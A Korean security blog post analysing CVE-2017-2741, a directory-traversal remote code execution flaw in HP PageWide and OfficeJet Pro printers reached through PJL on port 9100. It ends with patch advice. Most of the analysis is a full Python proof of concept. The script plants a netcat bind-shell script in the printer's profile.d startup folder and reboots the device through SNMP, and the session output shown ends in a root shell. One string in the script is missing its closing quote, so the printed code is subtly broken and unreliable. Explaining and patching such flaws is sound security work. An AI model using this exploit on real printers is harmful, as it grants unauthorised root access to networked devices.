KOROMOON

착한 사마리아인이 되고 싶습니다.

1/26/2021

[CVE-2017-2741] Multiple HP Printers RCE Vulnerability





( 1 ) 취약점 정의


2017년 04월 HP PageWide 프린터 및 HP OfficeJet Pro 프린터의 원격코드 실행 취약점을 HP 홈페이지에 게시됨.

링크 : https://support.hp.com/lt-en/document/c05462914


CVSS 9.8 점수(심각) 등급으로 CVE-2017-2741 명명하였으며 HP PageWide 및 Officejet Pro 프린터 1708D 이전 펌웨어를 대상으로 PJT(Printer Job Language) FSDIRLIST 명령어의 디렉토리 순회 경로(Directory Traversal Attack)를 이용한 원격코드 실행 취약점임.




( 2 ) 취약점 분석


취약한 HP 프린터 제품의 9100 포트는 인쇄 서비스 포트로 원본 인쇄 서비스를 지원하는 것 외에도 PCL, PostScript 및 PJT 인쇄 언어도 지원함.


아래는 취약한 제품과 패치된 제품에 PJT(Printer Job Language) FSDIRLIST 명령어의 디렉토리 순회 경로(Directory Traversal Attack)를 입력 시 결과값 출력한 화면임.

취약한 제품에서는 민감한 디렉토리 정보가 노출되지만 패치된 제품에서는 FILEERROR 오류가 발생함.


albinolobster@ubuntu:~$ nc 192.168.1.158 9100

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1

rw/ TYPE=DIR

ram/ TYPE=DIR

rom/ TYPE=DIR

.sig/ TYPE=DIR

< 취약한 제품 >


albinolobster@ubuntu:~$ nc 192.168.1.159 9100

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/../../"

FILEERROR=0

< 패치된 제품 >


디렉토리 순회 경로(Directory Traversal Attack)을 이용한 원격코드 실행을 하기 위해서는 FSQUERY, FSUPLOAD 및 FSDOWNLOAD 와 같은 몇 가지 PJL 명령을 알아야 함.

이 3개의 명령어는 사용자에게 프린터 파일 시스템에 액세스할 수 있는 읽기 및 쓰기(r/w) 권한을 부여함.

또한, /../../rw/var/etc/profile.d 폴더는 시스템이 시작될 때 실행되는 스크립트 폴더로 해당 위치에 악의적인 코드을 작성한 후 생성시켜야 함.

그리고 실행 스크립트를 작성하고 프린터를 재시작해야만 스크립트 실행이 되며 쉘 액세스 권한을 부여됨.


아래 PoC 코드는 시스템 시작 실행 스크립트를 profile.d 폴더에 작성 생성한 후 시스템 재시작하여 쉘 접속을 하는 코드임.

##

# Create a bind shell on an unpatched OfficeJet 8210

# Write a script to profile.d and reboot the device. When it comes

# back online then nc to port 1270.

#

# easysnmp instructions:

# sudo apt-get install libsnmp-dev

# pip install easysnmp

##

 

import socket

import sys

from easysnmp import snmp_set

 

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'

                    '\tmkfifo /tmp/pwned\n'

                    '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n

                    'fi\n')

 

if len(sys.argv) != 3:

    print '\nUsage:upload.py [ip] [port]\n'

    sys.exit()

 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(2)

server_address = (sys.argv[1], int(sys.argv[2]))

print 'connecting to %s port %s' % server_address

sock.connect(server_address)

 

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'

dir_query += profile_d_script

dir_query += '\x1b%-12345X'

sock.sendall(dir_query)

sock.close()

 

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock1.connect(server_address)

dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'

sock1.sendall(dir_query)

 

response = ''

while True:

    data = sock1.recv(1)

    if '\n' == data: break

    response += data

 

print response

snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)

print 'Done! Try port 1270 in ~30 seconds'


스크립트가 실행하면 약 30초 후에 포트 1270을 통해 루트 쉘이 생성됨.

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100

connecting to 192.168.1.158 port 9100

@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119

Done! Try port 1270 in ~30 seconds

albinolobster@ubuntu:~$ nc 192.168.1.158 1270

whoami

root




( 3 ) 취약점 방어


HP 사에서 제공하는 취약점 패치 관련 펌웨어 업데이트(OJ8210_R1709A.exe)를 실시함.

링크 : 

https://support.hp.com/cn-zh/drivers/selfservice/swdetails/hp-officejet-pro-8210-printer-series/7902063/swItemId/bi-183164-1




참고 사이트 : 

https://www.cvedetails.com/cve/CVE-2017-2741/

https://vuldb.com/?id.112343

https://support.hp.com/us-en/document/c05462914

http://4hou.win/wordpress/?paged=17&m=201706

https://www.nds.rub.de/media/ei/arbeiten/2017/01/30/exploiting-printers.pdf

https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution

https://en.wikipedia.org/wiki/Printer_Job_Language

https://developers.hp.com/system/files/PJL_Technical_Reference_Manual.pdf

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb




============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.


댓글 없음:

댓글 쓰기